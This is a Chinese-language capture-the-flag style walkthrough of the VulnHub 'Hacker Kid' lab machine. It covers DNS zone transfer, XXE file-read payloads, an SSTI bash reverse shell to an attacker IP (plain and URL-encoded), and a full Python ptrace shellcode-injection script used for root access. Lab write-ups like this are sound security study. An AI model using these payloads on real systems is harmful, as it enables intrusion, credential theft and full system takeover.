靶机下载地址
https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
难度
- OSCP 风格的中级难度靶机(只需要获取root权限即可,CTF 风格的靶机就还需要获取flag)
涉及的攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- DNS区域传输
- XXE注入攻击
- SSTI模版注入
- Capabilitie提权
学习记录:
- 计算机漏洞,一切漏洞的本质原因,就是用户可以想服务器端提交一些不该提交的内容,一旦提交了这些内容,而服务器端又接受了这样的内容,结果就可能导致服务器端的程序代码按照不是原定的逻辑顺序去执行,就会产生一些异常的执行结果,结果往往就是系统被攻击,然后被别人完全控制。
主机扫描
nmap -sn 192.168.0.0/24

端口扫描和服务发现
扫不到就多试几次就可以了
nmap -p- 192.168.0.104

nmap -p53,80,9999 192.168.0.104

由于namp默认只扫描TCP端口,所以这里我们发现了目标服务器上开了TCP的53端口,我们就有理由去猜测一下,目标服务器的UDP53端口也是开放的,它可能也会接受我来自客户端的域名查询这样的请求
nmap -p53 -sU 192.168.31.32 # 由于我网络环境的变化,故IP变成了192.168.31.32

不出所料是开着的,那就意味着这是一台DNS服务器
搜索DNS的BIND 9.16.1 版本漏洞,发现两个CVE,但是由于没有POC,我们把目光转向80端口和9999端口
在80端口发现一段黑客小孩写的话,还有上面的三个链接,但是没什么用



Ctrl + U 查看首页的源代码,在注释里面发现了一个参数page_no

既然是no(“No.”相当于“Number"),我们就给参数赋值数字,然后我们接着就用BurpSuite爆破数字


爆破到21的时候,页面有了不同的回显


通过DNS,他创建了一些域名,而通过访问这些域名,他就能够访问到一些不一样的Web页面。
因为我们知道在一台服务器上放置多个Web应用是有几种常用的方法的:
- 在服务器上绑定多个IP,每个不同的网站使用不同的IP地址,然后访问者可以访问不同的IP访问到我不同的网站,不同的Web应用程序;
- 我这台服务器只有一个IP,那我就通过不同的端口来开放不同的Web应用;
- 我这台服务器只有一个IP,而且只开放一个端口,使用不同的域名访问服务器端的时候,会得到的页面是完全不同的。
那我们在页面提示里发现一个域名hackers.blackhat.local,那我们为了能够访问到这个域名能解析到这个IP地址,接下来我们需要编辑本机的/etc/hosts文件,将这个域名和这个IP地址绑定,以便下次我去访问这个域名的时候就能访问到这台主机,而当我访问这个域名的时候,我希望看到一个不一样的页面,也就是后门页面
vim /etc/hosts

加上192.168.31.32 blackhat.local是因为很多的Web服务端程序,它都会对域名本身也创建一套A记录,当我们直接去访问这个域名,不加www
也能看见应用程序。
访问域名发现页面没有变化

那再这个DNS区域当中可能还隐藏着其他的记录,可能是A记录,可能是CNAME记录,而且根据页面提示,要DIG它。
那我们利用dig命令,针对这个域名,这个区域来做一个axfr(就是一个区域传输,标准的DNS技术术语,就是我可以针对向一个DNS服务器发一个axfr的请求,如果服务器端支持arfr这个区域传输的请求的话,它就会把它这台服务器里面我指定DNS区域的所有的DNS记录都一次性返回给我)
dig axfr @192.168.31.32 blackhat.local

拿到这些新的域名就添加到我们的/etc/hosts文件里面

访问80端口的hackerkid.blackhat.local发现一个新页面

访问9999端口192.168.31.32:9999,其他几个域名发现的都是登录页面,爆破不出来,因为密码很复杂

XXE漏洞
漏洞详解:XXE是什么?XXE漏洞原理及案例讲解(从0到1完全掌握XXE)-CSDN博客
- XXE(XML外部实体注入)是一种针对应用程序处理XML数据的方式的攻击。在这种攻击中,攻击者利用应用程序对XML输入的处理不当,引入或“注入”恶意内容。这可能导致未授权的数据访问、服务拒绝攻击甚至执行远程代码。
在hackerkid.blackhat.local页面抓包,发现是一个XML的表单,那么可能存在XXE漏洞

在XML文档当中,增加对其他外部资源的应用,并且让Web应用程序把我引用的资源给我完整的返回回来,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name>
1
</name>
<tel>
1
</tel>
<email>
&xxe;
</email>
<password>
1
</password>
</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>引入一个外部对象,起名叫xxe- 变量名后面加上了
SYSTEM的话就代表是一个外部资源的引用 - 意思是把
file:///etc/passwd这个外部的文本文件的内容赋值给xxe这个变量 - 然后在
<email></email>里面填入这个变量&xxe;

成功读取到了文件,发现了另外一个账号saket

去它的主目录里把文件都读取一下,查看一下.bashrc配置文件

直接读取不显示,那我们就用封装器来进行,使用php的封装器,因为Web应用程序是用php语言来写的
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name>
1
</name>
<tel>
1
</tel>
<email>
&xxe;
</email>
<password>
1
</password>
</root>

解码Base64获得账号和密码

username="admin"
password="Saket!#$%@!!"
尝试登录9000端口,但是admin账号用这个密码不行,saket就可以

根据页面提示,可能存在一个参数name,传参发现,传什么就输入什么

SSTI模板注入
- 漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
通杀payload:{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]包含了python、Java等语言

出现报错就说明这个目标服务器使用了模版,而且我们通过注入的触发了漏洞
再试试${7*7},{{7*7}}也成功,说明数学表达式被运行了

反弹shell
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.31.23/4444 0>&1"')}}
直接输入不成功,我们需要通过编码来绕过服务器端过滤的机制,我用URL编码
%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.31.23%2F4444%200%3E%261%22')%7D%7D

提权(Capabilitie)
- Capabilitie是一个Linux内核的功能,是做权限管理用的
Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)
getcap -r / 2>/dev/null查询哪些文件具有Capabilitie权限
-r递归的查询2>/dev/null把报错丢掉

提示getcap没有加入到环境里面
/sbin/getcap -r / 2>/dev/null指定完整的路径再次查询

发现了python2设置了ptrace,ptrace是具有操作系统动态调试跟踪的能力的
ps -aef | grep root查一下在这台靶机上以root权限运行的所有的进程,选择一个apache吧,进程ID是705

接下来我们需要下载一个利用这个权限漏洞的现成的Python脚本
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
Kali开启HTTP服务

靶机从Kali上下载下来POC

使用python2.7的sys_ptrace权限,然后调用inject.py进程注入脚本注入到刚才已经发现的以root权限运行的进程的ID

inject.py把自己的后门进程注入到root的apache进程里面之后,它会在本机开启一个侦听端口5600
ss -pantu | grep 5600看一下是否开启了5600端口,如果开启了的话,说明我们的注入成功了,这个后门的进程注入已经被启动了

nc 192.168.31.32 5600,既然开启了那我们就直接连接

成功获取root权限!!
总结:
- 针对这台靶机首先进行了主机发现和端口扫描
- 针对DNS服务进行上网搜索,发现两个CVE,但是没有POC
- 于是通过Web入手,在源代码发现提示信息,找到一个参数,利用这个参数发现了页面里隐藏的关于域名的信息
- 拿到这个域名之后,使用
dig命令针对这个DNS区域进行区域传输,最后拿到整个域名下所有的主机记录(A记录,CNAME记录全都拿到) - 在本机对
/etc/hosts文件进行修改,将这些域名绑定到目标靶机的IP地址上,通过这种方法发现了一个新的页面 - 在这个新的页面当中,首先发现了
XXE漏洞,并且成功利用其中的email字段,将目标服务器上的/etc/passwd文件给读取出来,进而再次利用XXE漏洞将目标服务器上的账号saket的主目录下的文件都读取了一遍,在.bashrc配置文件里面发现了一个用户名账号和密码 - 用这个账号和密码去登录开放了
9999端口的页面,但是登录失败,但是用saket就能登录成功了 - 在后台又根据靶机作者给我们的提示,猜测当前页面可能存在一个叫做
name的变量名,发现这个name的赋值存在一个模版注入的漏洞 - 利用这个模板注入漏洞注入了一行
python反弹shell的指令,拿到了一个反弹shell - Capabilitie提权,通过查询,发现目标系统上有
python2.7,利用python2.7它被赋予的cap_sys_ptrace可以调试挂接到系统已经存在的进程的特殊权限 - 利用这个权限上网去下载一个针对这种类型漏洞利用的
inject.py,利用这个inject.py将自己注入到一个以root账号启动的系统进程里面,也就是apache的那个进程 - 然后在这个进程中注入我们的代码,打开5600端口,最后通过
Kali直接连接靶机的5600端口,最终获得了root权限, 取得了目标系统的完全控制权。


















